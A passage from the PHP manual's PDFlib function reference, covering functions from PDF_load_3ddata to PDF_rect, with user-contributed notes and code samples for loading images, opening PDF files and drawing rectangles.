// and slope in an array. I can't figure out how to
// return a NULL value, so if the two input points
// are in a vertical line, the function returns
// $angle = 90 and $slope = 0. I know this is wrong.
        if (($x2-$x1) != 0) {
                $slope = ($y2-$y1)/($x2-$x1);
                // Get rotation angle by finding the arctangent of the slope
                $angle = rad2deg(atan($slope));
                if ($x1 > $x2) {
                        $angle = 180+$angle;
                } elseif ($y1 > $y2) {
                        $angle = 360+$angle;
                }
        } else {
                // Vertical line has no slope, 90deg angle
                $angle = 90;
#               unset ($slope);
                $slope = 0;
        }
        return array ($angle, $slope);
}
rod-php at thecomplex dot com 01-Oct-2002 07:18
function find_length ($x1, $y1, $x2, $y2) {
// Find distance between two points (x1,y1) and (x2,y2)
// Also useful to find length of a line.
        return sqrt( pow($x2-$x1,2) + pow($y2-$y1,2) );
}


Load 3D model

  • « PDF_lineto
  • PDF_load_font »
  • PHP Manual
  • PDF Functions
  • Load 3D model

PDF_load_3ddata

(PECL pdflib >= 2.1.0)

PDF_load_3ddata — Load 3D model

Description

int PDF_load_3ddata ( resource $pdfdoc , string $filename , string $optlist )

Loads a 3D model from a disk-based or virtual file.

This function requires PDF 1.6.

User Contributed Notes

There are no user contributed notes for this page.


Search and prepare font

  • « PDF_load_3ddata
  • PDF_load_iccprofile »
  • PHP Manual
  • PDF Functions
  • Search and prepare font

PDF_load_font

(PECL pdflib >= 2.0.0)

PDF_load_font — Search and prepare font

Description

int PDF_load_font ( resource $pdfdoc , string $fontname , string $encoding , string $optlist )

Searches for a font and prepares it for later use.

User Contributed Notes

james dot ferguson at doesnt dot share dot email dot com 19-Feb-2008 11:23
In PDFLib 5 'optlist' allows the following possible settings:

embedding=true
subsetting=true
subsetlimit=50
kerning=false
seufert at gmail dot com 01-Aug-2006 03:43
This function is used to load a font into memory for later use with PDF_setfont()

This function is the replacement for the depracated PDF_find_font()

And also here is the 'core font' list, for PDF files, these do not need to be embeded:
- Courier
- Courier-Bold
- Courier-Oblique
- Courier-BoldOblique
- Helvetica
- Helvetica-Bold
- Helvetica-Oblique
- Helvetica-BoldOblique
- Times-Roman
- Times-Bold
- Times-Italic
- Times-BoldItalic
- Symbol
- ZapfDingbats

And with encodings i have found its best to use iso8859-1 for english with a $ for currency.


Search and prepare ICC profile

  • « PDF_load_font
  • PDF_load_image »
  • PHP Manual
  • PDF Functions
  • Search and prepare ICC profile

PDF_load_iccprofile

(PECL pdflib >= 2.0.0)

PDF_load_iccprofile — Search and prepare ICC profile

Description

int PDF_load_iccprofile ( resource $pdfdoc , string $profilename , string $optlist )

Searches for an ICC profile, and prepares it for later use.

User Contributed Notes

There are no user contributed notes for this page.


Open image file

  • « PDF_load_iccprofile
  • PDF_makespotcolor »
  • PHP Manual
  • PDF Functions
  • Open image file

PDF_load_image

(PECL pdflib >= 2.0.0)

PDF_load_image — Open image file

Description

int PDF_load_image ( resource $pdfdoc , string $imagetype , string $filename , string $optlist )

Opens a disk-based or virtual image file subject to various options.

User Contributed Notes

klassen dot tony at gmail dot com 12-Mar-2007 03:27
I've had a difficult time trying to load images to the pdf with pdflib, and tried many examples. I came across this one and it actually works for me in IE and Firefox. I hope this can be of some help to someone.

<?php
    $searchpath = "path/to/image/dir";

    $p = new PDFlib();
    $p->set_parameter("errorpolicy", "return"); // check return values of load_font() etc.
    $p->set_parameter("hypertextencoding", "winansi"); // used to prevent problems with japanese systems
    $p->set_parameter("SearchPath", $searchpath); // **set search path parameter in pdf
    if ($p->begin_document("", "") == 0) {
       die("Error: " . $p->get_errmsg());
   }
   $p->set_info("Creator", " the creator");
   $p->set_info("Author", " you ");
   $p->set_info("Title", " imageInsert ");
   $p->begin_page_ext(612, 792, "");  // declare page with standard letter size

    $certLogo = "stamp.jpg";  // your image name

    $image = $p->load_image("auto", $certLogo, "");
    if (!$image) {    die("Error: " . $p->get_errmsg());    }

    $p->fit_image($image, 390,575, ""); //place image within page coordinates
    $p->close_image($image);            // close resource
    $p->end_page_ext("");

   $p->end_document("");

   $data = $p->get_buffer();
   $len = strlen($data);

   header("Content-type: application/pdf");
   header("Content-Length: $len");
   header("Content-Disposition: inline; filename=hello.pdf");
   print $data;

   $p = 0;
?>
Mike Zmuda 11-May-2006 03:40
This program takes a picture from a dynamic image selector (ie: banner ad selector software, or whatever,) and inserts it into your pdf.

You can use something like this to insert coupons on PDFs (such as register receipts, bills, receipts, etc...) just like they do at the supermarket checkout!

<?php
//Set up a document (PHP5 standard.)
$p = new PDFlib();
if ($p->begin_document("", "") == 0) {
     die("Error: " . $p->get_errmsg());
}
$p->set_info("Creator", "Homer");
$p->set_info("Author", "Lisa");
$p->set_info("Title", "Simpsons Image");
$p->begin_page_ext(612, 792, ""); // This is letter.

//Open the url for the image server we wish to use.
//     (When I say "Image Server," I mean any program or
//     script which will render image data as output. That
//     means that it has to output the raw data, unmodified,
//     such that it could be accessed like this in a standard
//     html instruction call:
//
//        <img src="http://site.com/getimg.php?pic=18">
//
//     If it adds border or other text, the data will be
//     corrupted, and thus cause the pdf to misrender.
if ($stream = fopen('http://site.com/getimg.php?pic=18', 'r')) {
   $MyImage= stream_get_contents($stream, -1);
   fclose($stream);
}

//First, create a PDF Virtual File (PVF) out of our data...
$pvf_filename = "/pvf/image/image1.jpg";
//and store the $MyImage data (picture data from above)
//    in it!
$p->create_pvf($pvf_filename,$MyImage, "");
//Load the image from the PVF into, er, uh, ram..., and, uh...
$image = $p->load_image("jpeg", $pvf_filename,"");
//Put it on the screen! :)
$p->fit_image($image, 100,500,"boxsize {100 100} position 50 fitmethod meet");
//Be cool and clean up after yourself...
$p->delete_pvf($pvf_filename);

//And... Render!
$p->end_page_ext("");
$p->end_document("");
$buf = $p->get_buffer();
$len = strlen($buf);
header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=urlImageTest.pdf");
print $buf;
?>
Nicolas Padfield nicolasatpadfielddotdk 10-Mar-2006 01:34
Example use of  PDF_load_image():

<?php
$pdf = PDF_new();
PDF_open_file($pdf,'');
PDF_begin_page($pdf,595,842);
$image = PDF_load_image($pdf,"png","myimage.png","");
PDF_place_image($pdf,$image,64,26,.24);
?>

If you want something that is more free for commercial use, open source and does not require compiling, you could look at for example http://www.fpdf.org in stead of PDFlib


Make spot color

  • « PDF_load_image
  • PDF_moveto »
  • PHP Manual
  • PDF Functions
  • Make spot color

PDF_makespotcolor

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_makespotcolor — Make spot color

Description

int PDF_makespotcolor ( resource $p , string $spotname )

Finds a built-in spot color name, or makes a named spot color from the current fill color. Returns TRUE on success or FALSE on failure.

User Contributed Notes

karaya at karaya dot cz 07-Apr-2004 12:40
Pantone and HKS spot colors - it's not supported in free version PDFLib Lite


Set current point

  • « PDF_makespotcolor
  • PDF_new »
  • PHP Manual
  • PDF Functions
  • Set current point

PDF_moveto

(PHP 4, PECL pdflib >= 1.0.0)

PDF_moveto — Set current point

Description

bool PDF_moveto ( resource $p , float $x , float $y )

Sets the current point for graphics output. Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Create PDFlib object

  • « PDF_moveto
  • PDF_open_ccitt »
  • PHP Manual
  • PDF Functions
  • Create PDFlib object

PDF_new

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_new — Create PDFlib object

Description

resource PDF_new ( void )

Creates a new PDFlib object with default settings.

User Contributed Notes

Justin 09-Nov-2008 09:36
<?php
// create handle for new PDF document
$pdf = pdf_new();
// open a file
pdf_open_file($pdf, "test.pdf");
// start a new page (A4)
pdf_begin_page($pdf, 595, 842);
// get and use a font object
$arial = pdf_findfont($pdf, "Arial", "host", 1); pdf_setfont($pdf, $arial, 10);
// print text
pdf_show_xy($pdf, "There are more things in heaven and earth, Horatio,",50, 750);
pdf_show_xy($pdf, "than are dreamt of in your philosophy", 50,730);
// end page
pdf_end_page($pdf);
// close and save file
pdf_close($pdf);
?>


Open raw CCITT image [deprecated]

  • « PDF_new
  • PDF_open_file »
  • PHP Manual
  • PDF Functions
  • Open raw CCITT image [deprecated]

PDF_open_ccitt

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_open_ccitt — Open raw CCITT image [deprecated]

Description

int PDF_open_ccitt ( resource $pdfdoc , string $filename , int $width , int $height , int $BitReverse , int $k , int $Blackls1 )

Opens a raw CCITT image.

This function is deprecated since PDFlib version 5, use PDF_load_image() instead.

User Contributed Notes

There are no user contributed notes for this page.


Create PDF file [deprecated]

  • « PDF_open_ccitt
  • PDF_open_gif »
  • PHP Manual
  • PDF Functions
  • Create PDF file [deprecated]

PDF_open_file

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_open_file — Create PDF file [deprecated]

Description

bool PDF_open_file ( resource $p , string $filename )

Creates a new PDF file using the supplied file name. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 6, use PDF_begin_document() instead.

User Contributed Notes

Anonymous 09-Sep-2013 10:50
you better use forward slashes in a path
phpnet021221 A~T netized D~O~T com 24-Apr-2007 07:21
FYI: the reason you had to add the double slashes was due to the fact that your string was contained within double quotes rather than single quotes.

See: http://ca3.php.net/manual/en/language.types.string.php
Button dot Man at gmail dot com 10-Aug-2005 06:39
"Fatal error: PDFlib error: [2100] PDF_begin_page: Function must not be called in 'object' scope"

I found a solution for this fault:
when i got the fault, this was the script ->

<?php

$pdf = pdf_new();

pdf_open_file($pdf, "C:\web\pdf\test45.pdf");
pdf_begin_page($pdf, 595, 842);
pdf_set_font($pdf, "Times-Roman", 30, "host");
pdf_set_value($pdf, "textrendering", 1);
pdf_show_xy($pdf, "A PDF document is created!", 50, 750);
pdf_end_page($pdf);
pdf_close($pdf);

?>

but when i added some slashes to the path:

<?php

$pdf = pdf_new();

pdf_open_file($pdf, "C:\\web\\pdf\\test45.pdf");
pdf_begin_page($pdf, 595, 842);
pdf_set_font($pdf, "Times-Roman", 30, "host");
pdf_set_value($pdf, "textrendering", 1);
pdf_show_xy($pdf, "A PDF document is created!", 50, 750);
pdf_end_page($pdf);
pdf_close($pdf);

?>

there wasn't no fault anymore and the pdf-file was succesfully created

I think you guys get the point ( add 2 slashes )

Glenn
21-Jun-2005 06:13
"Fatal error: PDFlib error: [2100] PDF_begin_page: Function must not be called in 'object' scope.."

If you get this error then you probably forgot to call pdf_open_file() or pdf_open_file() failed.
php at mijav dot dk 11-Apr-2005 02:35
The example uses pdf_set_font, but that function is deprecated. Instead use pdf_setfont (without the underscore).
alfred dot zingg at freesurf dot ch at example dot com 16-Dec-2004 04:33
...
$fd = fopen("download/liste.pdf", "w");
$pdfdoc = pdf_open($fd);
pdf_begin_page($pdfdoc, 595, 842);
pdf_set_font($pdfdoc, "Helvetica", 20, "host", 1);
pdf_set_text_pos($pdfdoc, 50, 795);
pdf_show($pdfdoc, "Liste");
...
does not work under PHP5, use
...
$fd = fopen("download/liste.pdf", "w");
$pdfdoc = pdf_new();
pdf_open_file($pdfdoc, "download/liste.pdf");
pdf_begin_page($pdfdoc, 595.3, 841.8);
$font = pdf_findfont($pdfdoc, "Helvetica", "winansi", 0);
pdf_set_font($pdfdoc, $font, 20);
pdf_set_text_pos($pdfdoc, 50, 795);
pdf_show($pdfdoc, "Liste");
...
18-Oct-2004 02:55
After some troubles I found filename must be absolute path  here in windows; relative path doesn't work in my box.
php 4.3.5-dev
RandyAtHorktDotCom 29-Oct-2002 01:19
It is possible to append pdfs to each other, however it requires the commercial version of PDFlib with PDI support (http://www.pdflib.com)

I've used it quite a bit and is well worth the price they are asking for.
jon at logicworks dot cc 24-Oct-2002 08:48
When creating a pdf in memory, it appears that the code is executed twice. This does not seem to happen when creating a pdf as file. Not a problem when outputing a pdf, but does cause a problem if doing other writes in the same code:

// the write to the file is executed twice
$fp = fopen("testfile.htm", "a");
fwrite($fp, "testline/") ;
fclose($fp);
//--------------

$pdf = pdf_new();

if (!pdf_open_file($pdf, "")) {
    print error;
    exit;
};

pdf_begin_page($pdf, 8.5*72, 11*72);
pdf_set_font($pdf, "Helvetica-Bold", 24, "host");
pdf_set_text_pos($pdf, 50, 700);
pdf_show($pdf,"Hello,world!");
pdf_end_page($pdf);
pdf_close($pdf);

$buf = pdf_get_buffer($pdf);
$len = strlen($buf);

header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=foo.pdf");
print $buf;
gbl at bso2001 dot com 19-Feb-2002 08:30
Appending to PDF files: plainly, you can't. PDF files have an internal structure that would get corrupted by just appending to the file. You'd need to parse the PDF, create a new PDF and mix your additions with the old PDF. Just creating a new one should be *much* easier.

Reading back the results: do a fopen() on the temporary file and use fgets() to read it. In your example where you just want to output the file, passthru should do the trick.
nils at deviant dot no 16-Jan-2002 01:47
If you get "Fatal error: PDFlib error: function 'PDF_set_info' must not be called in 'object' scope in script.php on line xxx" when using pdf_open_file with a filename, make sure your webserver has write permissions to the directory your are trying to save your PDF file to.


Open GIF image [deprecated]

  • « PDF_open_file
  • PDF_open_image_file »
  • PHP Manual
  • PDF Functions
  • Open GIF image [deprecated]

PDF_open_gif

(PHP 4, PECL pdflib >= 1.0.0)

PDF_open_gif — Open GIF image [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_load_image() instead.

User Contributed Notes

There are no user contributed notes for this page.


Read image from file [deprecated]

  • « PDF_open_gif
  • PDF_open_image »
  • PHP Manual
  • PDF Functions
  • Read image from file [deprecated]

PDF_open_image_file

(PHP 4, PECL pdflib >= 1.0.0)

PDF_open_image_file — Read image from file [deprecated]

Description

int PDF_open_image_file ( resource $p , string $imagetype , string $filename , string $stringparam , int $intparam )

Opens an image file.

This function is deprecated since PDFlib version 5, use PDF_load_image() with the colorize, ignoremask, invert, mask, masked, and page options instead.

User Contributed Notes

John Middleton 13-Mar-2007 02:07
This short script will create a scaled PDF from a multi-page tiff file (tested and implemented in PHP 5):

<?php
   // Declare pdf File
   $pdf = pdf_new();
   pdf_open_file($pdf, "test.pdf");

   // Convert and add pages until you reach end of the tiff
   for($page = 1; $image = @pdf_open_image_file($pdf, "tiff", "test.tif", "page", $page); $page++)
   {
      // Set page scale to 72 dpi using the width of the image (72 * 8.5 inches = 612 dpi)
      $scale = 612 / pdf_get_value($pdf, "imagewidth", $image);

      // Create a new page using the scaled height and width of the image
      pdf_begin_page($pdf, $scale * pdf_get_value($pdf, "imagewidth", $image), $scale * pdf_get_value($pdf, "imageheight", $image));

      // Place the scaled image in the top left corner of the page and end this page of the pdf
      pdf_place_image($pdf, $image, 0, 0, $scale);
      pdf_end_page($pdf);
   }

   // Finish the pdf File
   pdf_close($pdf);
?>

Please note that this script disregards whether the height of the image is unable to scale comparably to an 8.5x11 inch document.  Depending on the images you are working with, you may want to add some logic to set your scale value based on the true height and width of the image.
Max / Poland 01-Oct-2005 12:58
another example : PHP 5 & PDFLIB 6.0.2
<?
$pdf = pdf_new();

 if (pdf_begin_document($pdf,"", "") == 0)
    {die("Error: " . pdf_get_errmsg());}

   pdf_set_parameter($pdf, "SearchPath", "./");
   pdf_set_parameter($pdf, "hypertextencoding", "winansi");
   pdf_set_parameter($pdf, "imagewarning", "false");
   pdf_set_info($pdf, "Creator", "some INformations");
   pdf_set_info($pdf, "Author", "author");
   pdf_set_info($pdf, "Title", "Raport");

$logo = pdf_open_image_file($pdf, "jpeg", "foto.jpg", "", 0);

pdf_begin_page($pdf, 595, 842);
pdf_place_image($pdf, $logo, 28, 324, 0.125);
pdf_close_image($pdf, $logo);
pdf_end_page($pdf);
pdf_close($pdf);

  $buf = pdf_get_buffer($pdf);
  $len = strlen($buf);
  header("Content-type: application/pdf");
  header("Content-Length: $len");
  header("Content-Disposition: attachment; filename=raport.pdf");
  echo $buf;

?>
ws at esc-ag dot de 07-Apr-2005 12:25
when using pdf_open_image_file() with multipage tiffs in php 5.x.x I had to use the following

$pdf = pdf_new();
pdf_open_file($pdf, "test.pdf");
$file = "mutlipg.tif";

// Important to switch off the exceptions
pdf_set_parameter($pdf, "imagewarning", "false");

for($i=1; ; $i++)
{
    $image=@pdf_open_image_file($pdf, "tiff", $file, "page", $i);
    if($image != 0)
    {
        $w = pdf_get_value($pdf, "imagewidth", $image);
        $h = pdf_get_value($pdf, "imageheight", $image);

    // use only half of the size
        pdf_begin_page($pdf, $w/2, $h/2);
        pdf_place_image($pdf, $image, 0, 0, 0.5);
        pdf_close_image($pdf, $image);
        pdf_end_page($pdf);
    }
    else
        break;
}
// Send the pdf to the Browser
pdf_close($pdf);
$fp = fopen("test.pdf", "r");
header("Content-type: application/pdf");
fpassthru($fp);
fclose($fp);
alfred dot zingg at freesurf dot ch 16-Dec-2004 04:27
...
$logo = pdf_open_image_file($pdf, "jpeg", "logo.jpg");
pdf_place_image($pdf, $logo, 28, 324, 0.125);
pdf_close_im($pdf, $logo);
...
does not work under PHP5, use
...
$logo = pdf_open_image_file($pdf, "jpeg", "logo.jpg", "", 0);
pdf_place_image($pdf, $logo, 28, 324, 0.125);
pdf_close_im($pdf, $logo);
...
j tse 06-Jun-2003 03:22
If the image file is sitting at somewhere (outside the subdirectory), an absolute path must be given instead.
darren at zoe dot co dot nz dot deleteme 17-Dec-2001 06:51
when using pdf_open_image_file() with multipage tiffs, the example in the manual won't work (i don't think the function returns -1 like it says)
you can use this instead;

   for ($page=1; ; $page++)
    {
      // our image
$image=pdf_open_image_file($pdf,"tiff",$file,"page",$page);
      // a bad image - page cannot be 0
$bad=pdf_open_image_file($pdf,"tiff",$file,"page",0);<br>
      if ($image == $bad)
    {
      // done adding pages
      break;
    }
      pdf_begin_page($pdf,$width,$height);
      pdf_place_image($pdf,$image,0,0,1);
      pdf_close_image($pdf,$image);
      pdf_end_page($pdf);
    }
bob at nijman dot de 02-Aug-2001 02:44
Try this.
(don't forget to put a "test.jpg" in the same dir)

<?php

//Create & Open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");
pdf_set_info($pdf, "Title","www.nijman.de");
pdf_set_info($pdf, "Creator", "bob@nijman.de");
pdf_set_info($pdf, "Subject", "pdf_open_image_file");
pdf_begin_page($pdf, 200, 200);

$pdfimage = pdf_open_image_file($pdf, "jpeg", "test.jpg");
pdf_place_image($pdf, $pdfimage, 10, 10, 0.6);

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=image.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>


Use image data [deprecated]

  • « PDF_open_image_file
  • PDF_open_jpeg »
  • PHP Manual
  • PDF Functions
  • Use image data [deprecated]

PDF_open_image

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_open_image — Use image data [deprecated]

Description

int PDF_open_image ( resource $p , string $imagetype , string $source , string $data , int $length , int $width , int $height , int $components , int $bpc , string $params )

Uses image data from a variety of data sources.

This function is deprecated since PDFlib version 5, use virtual files and PDF_load_image() instead.

User Contributed Notes

K 24-Apr-2003 02:36
Ok, according to the PDFlib docs,

bpc - only for imagetype raw (required in this case).  The number of bits per component.  Must be 1,2,4 or 8

components - only for imagetype raw (required in this case). The number of image components.  Must be 1, 3 or 4.

Read the docs (page 171) for a full list of params I assume are used for the last argument.
tfraser at jeffsys dot net 05-Mar-2003 10:41
If you want to open a TIFF image, you have to use pdf_open_image_file().  If you want to open a TIFF image from memory, you'll have to wait until version 5.  I gleaned this from the PDFlib folks themselves:

> from rp@pdflib.com
The only way to open TIFF with PDFlib 4 is to open it from
file. But in PDFlib 5 (http://www.pdflib.com/beta/) we add
a virtual file system, so you can easy open a file from
memory.
lindsayNOSPAM at NOSPAMdingos dot net 20-Dec-2002 03:42
if you ahve pdflib v4 or higher, you may also use TIFF images, by specifying 'tiff'  in the image type.

checked the pdflib documentation, tried it out, it works.
nils at deviant dot no 16-Jan-2002 02:00
a quick example:

$pdfimage = pdf_open_image_file($pdf, "jpeg", "test.jpg");
pdf_place_image($pdf, $pdfimage, 10, 10, 0.6);

...
pdf_close etc..
bob at nijman dot de 02-Aug-2001 05:05
mark troyan wrote:

> Can you use the PDF_open_image to handle gif's? How?

and Thomas Merz answered:

Nope. Unfortunately PDF supports _nearly_ everything needed
to decode GIFs internally (as with JPEG), but some minor
feature is missing. It seems Adobe also realized this --
they added the missing link in PostScript 3, so chances are
it will appear in PDF 1.4 or something...

Since the PDF_open_image() interface is meant for dumping
the image data to the PDF without any further interpretation,
it can't support GIF.

Found at:
http://groups.yahoo.com/group/pdflib/message/301
bob at nijman dot de 02-Aug-2001 02:54
For good and easy to understand examples on images in PDFs go to

http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=13

(It's in german, but the sources alone will be a great help and inspiration :-))


Open JPEG image [deprecated]

  • « PDF_open_image
  • PDF_open_memory_image »
  • PHP Manual
  • PDF Functions
  • Open JPEG image [deprecated]

PDF_open_jpeg

(PHP 4, PECL pdflib >= 1.0.0)

PDF_open_jpeg — Open JPEG image [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_load_image() instead.

User Contributed Notes

There are no user contributed notes for this page.


Open image created with PHP's image functions [not supported]

  • « PDF_open_jpeg
  • PDF_open_pdi_document »
  • PHP Manual
  • PDF Functions
  • Open image created with PHP's image functions [not supported]

PDF_open_memory_image

(PHP 4, PECL pdflib >= 1.0.0)

PDF_open_memory_image — Open image created with PHP's image functions [not supported]

Description

int PDF_open_memory_image ( resource $p , resource $image )

This function is not supported by PDFlib GmbH.

User Contributed Notes

leela at leela dot ws 19-Nov-2002 07:36
note that in PHP 4.2.2 and PDF_lib 4.0.1 this function does not support more than 256 colors (only GD 1.x it seems).

WORKS:
$im = ImageCreate(100, 100);
$pim = pdf_open_memory_image($pdf, $im);

DOES NOT WORK:
$im = ImageCreateTrueColor(100, 100);
$pim = pdf_open_memory_image($pdf, $im);

DOES NOT WORK:
$im = ImageCreateFromJPEG("file.jpg");
$pim = pdf_open_memory_image($pdf, $im);


Prepare a pdi document

  • « PDF_open_memory_image
  • PDF_open_pdi_page »
  • PHP Manual
  • PDF Functions
  • Prepare a pdi document

PDF_open_pdi_document

(PECL pdflib >= 2.1.0)

PDF_open_pdi_document — Prepare a pdi document

Description

int PDF_open_pdi_document ( resource $p , string $filename , string $optlist )

Open a disk-based or virtual PDF document and prepare it for later use.

User Contributed Notes

There are no user contributed notes for this page.


Prepare a page

  • « PDF_open_pdi_document
  • PDF_open_pdi »
  • PHP Manual
  • PDF Functions
  • Prepare a page

PDF_open_pdi_page

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_open_pdi_page — Prepare a page

Description

int PDF_open_pdi_page ( resource $p , int $doc , int $pagenumber , string $optlist )

Prepares a page for later use with PDF_fit_pdi_page().

User Contributed Notes

There are no user contributed notes for this page.


Open PDF file [deprecated]

  • « PDF_open_pdi_page
  • PDF_open_tiff »
  • PHP Manual
  • PDF Functions
  • Open PDF file [deprecated]

PDF_open_pdi

(PHP 4 >= 4.0.5, PECL pdflib >= 1.0.0)

PDF_open_pdi — Open PDF file [deprecated]

Description

int PDF_open_pdi ( resource $pdfdoc , string $filename , string $optlist , int $len )

Opens a disk-based or virtual PDF document and prepares it for later use.

This function is deprecated since PDFlib version 7, use PDF_open_pdi_document() instead.

User Contributed Notes

ytsedan 28-Mar-2006 09:33
From PDFLib's manual:

"When the optional PDI (PDF import) library is attached to PDFlib, pages from existing PDF documents can be imported. PDI contains a parser for the PDF file format, and prepares pages from existing PDF documents for easy use with PDFlib.

Conceptually, imported PDF pages are treated similarly to imported raster images such as TIFF or PNG: you open a PDF document, choose a page to import, and place it on an output page, applying any of PDFlib’s transformation functions for translating, scaling, rotating, or skewing the imported page."

The manual can be downloaded along with PDFLib at http://www.pdflib.com/products/pdflib/download/index.html
m_schieferdecker at hotmail dot com 01-Mar-2004 06:48
The function returns the intval -1 on failure.


Open TIFF image [deprecated]

  • « PDF_open_pdi
  • PDF_pcos_get_number »
  • PHP Manual
  • PDF Functions
  • Open TIFF image [deprecated]

PDF_open_tiff

(PHP 4, PECL pdflib >= 1.0.0)

PDF_open_tiff — Open TIFF image [deprecated]

Description

This function is deprecated since PDFlib version 3, use PDF_load_image() instead.

User Contributed Notes

There are no user contributed notes for this page.


Get value of pCOS path with type number or boolean

  • « PDF_open_tiff
  • PDF_pcos_get_stream »
  • PHP Manual
  • PDF Functions
  • Get value of pCOS path with type number or boolean

PDF_pcos_get_number

(PECL pdflib >= 2.1.0)

PDF_pcos_get_number — Get value of pCOS path with type number or boolean

Description

float PDF_pcos_get_number ( resource $p , int $doc , string $path )

Gets the value of a pCOS path with type number or boolean.

User Contributed Notes

There are no user contributed notes for this page.


Get contents of pCOS path with type stream, fstream, or string

  • « PDF_pcos_get_number
  • PDF_pcos_get_string »
  • PHP Manual
  • PDF Functions
  • Get contents of pCOS path with type stream, fstream, or string

PDF_pcos_get_stream

(PECL pdflib >= 2.1.0)

PDF_pcos_get_stream — Get contents of pCOS path with type stream, fstream, or string

Description

string PDF_pcos_get_stream ( resource $p , int $doc , string $optlist , string $path )

Gets the contents of a pCOS path with type stream, fstream, or string.

User Contributed Notes

There are no user contributed notes for this page.


Get value of pCOS path with type name, string, or boolean

  • « PDF_pcos_get_stream
  • PDF_place_image »
  • PHP Manual
  • PDF Functions
  • Get value of pCOS path with type name, string, or boolean

PDF_pcos_get_string

(PECL pdflib >= 2.1.0)

PDF_pcos_get_string — Get value of pCOS path with type name, string, or boolean

Description

string PDF_pcos_get_string ( resource $p , int $doc , string $path )

Gets the value of a pCOS path with type name, string, or boolean.

User Contributed Notes

There are no user contributed notes for this page.


Place image on the page [deprecated]

  • « PDF_pcos_get_string
  • PDF_place_pdi_page »
  • PHP Manual
  • PDF Functions
  • Place image on the page [deprecated]

PDF_place_image

(PHP 4, PECL pdflib >= 1.0.0)

PDF_place_image — Place image on the page [deprecated]

Description

bool PDF_place_image ( resource $pdfdoc , int $image , float $x , float $y , float $scale )

Places an image and scales it. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 5, use PDF_fit_image() instead.

User Contributed Notes

admin at internettech dot ca 06-Aug-2005 08:05
Contrary to the previous post, this function (pdf_place_image)  is deprecated.
Use pdf_fit_image() instead.  pdf_fit_image() takes the same parameters but read the PDFlib manual.

You should be using and reading the PDFlib manual along with the PHP manual to be current while writing your code.

To see all the internal functions available in the PDFlib try this:

$arr = get_defined_functions();
foreach(array_values($arr['internal']) as $arrVal){
    if(strtolower(substr($arrVal,0,3))== "pdf") print($arrVal."<br>");
}

Please do your homework before posting a note that contradicts someone else�s note.
stry_cat at yahoo dot com 05-Aug-2005 03:36
bmironov at jonview dot com on 24-Jun-2003 03:58 said
> This function deprecated since PDFlib v5.0

I think you're confused.  The depreciated function was pdf_put_image not pdf_place_image.

If this is also depreciated then we don't have any functions to add images to a PDF.  Not a good thing.
bob at nijman dot de 02-Aug-2001 03:08
FYI:
There's a good reason for the fact that we need two functions

(pdf_open_image_file and pdf_place_image)

to insert an image.
This way we can use the same image more than once without having to store it in the PDF again.


Place PDF page [deprecated]

  • « PDF_place_image
  • PDF_process_pdi »
  • PHP Manual
  • PDF Functions
  • Place PDF page [deprecated]

PDF_place_pdi_page

(PHP 4 >= 4.0.6, PECL pdflib >= 1.0.0)

PDF_place_pdi_page — Place PDF page [deprecated]

Description

bool PDF_place_pdi_page ( resource $pdfdoc , int $page , float $x , float $y , float $sx , float $sy )

Places a PDF page and scales it. Returns TRUE on success or FALSE on failure.

This function is deprecated since PDFlib version 5, use PDF_fit_pdi_page() instead.

User Contributed Notes

There are no user contributed notes for this page.


Process imported PDF document

  • « PDF_place_pdi_page
  • PDF_rect »
  • PHP Manual
  • PDF Functions
  • Process imported PDF document

PDF_process_pdi

(PECL pdflib >= 2.0.0)

PDF_process_pdi — Process imported PDF document

Description

int PDF_process_pdi ( resource $pdfdoc , int $doc , int $page , string $optlist )

Processes certain elements of an imported PDF document.

User Contributed Notes

There are no user contributed notes for this page.


Draw rectangle

  • « PDF_process_pdi
  • PDF_restore »
  • PHP Manual
  • PDF Functions
  • Draw rectangle

PDF_rect

(PHP 4, PECL pdflib >= 1.0.0)

PDF_rect — Draw rectangle

Description

bool PDF_rect ( resource $p , float $x , float $y , float $width , float $height )

Draws a rectangle. Returns TRUE on success or FALSE on failure.

User Contributed Notes

nick 26-May-2010 12:02
In php5 a rectangle with some text in is made like this.

<?php
$p->rect(55,520,400,20);
$p->stroke();

$font = $p->load_font("Helvetica", "winansi", "");
$p->setfont($font, 14.0);
$p->set_text_pos(200, 525);
$p->show("Some text");

?>
stuart at horuskol dot co dot uk 09-Jun-2006 11:14
This section of the manual is really sparse, and there don't seem to be any tutorials out there that go beyond adding a single line of text, so I found this piece of information out by trial and error.

The function only specifies that you want a rectangle at those co-ordinates, and must be followed by a stroke command:

  pdf_rect($pdf, 100, 100, 50, 50);
  pdf_stroke($pdf);

This completes the process of placing the rectangle on the page.
ragnar at deulos dot com 04-Oct-2005 08:09
Be sure of adding a pdf_stroke(resource_pdf) after the pdf_rect function or will take an error in the PDFlib.
tobias at midas dot se 16-May-2002 11:31
Round rectangles

My function to create rectangles width round corners:

<?php
function pdf_roundrect($pdfobj, $xpos, $ypos, $xsize, $ysize, $radius)
{
 $ypos = $ypos+$ysize;
 pdf_moveto($pdfobj, $xpos, $ypos-$radius);
 pdf_lineto($pdfobj, $xpos, $ypos-$ysize+$radius);
 pdf_arc($pdfobj, $xpos+$radius, $ypos-$ysize+$radius, $radius, 180, 270);
 pdf_lineto($pdfobj, $xpos+$xsize-$radius, $ypos-$ysize);
 pdf_arc($pdfobj, $xpos+$xsize-$radius, $ypos-$ysize+$radius, $radius, 270, 360);
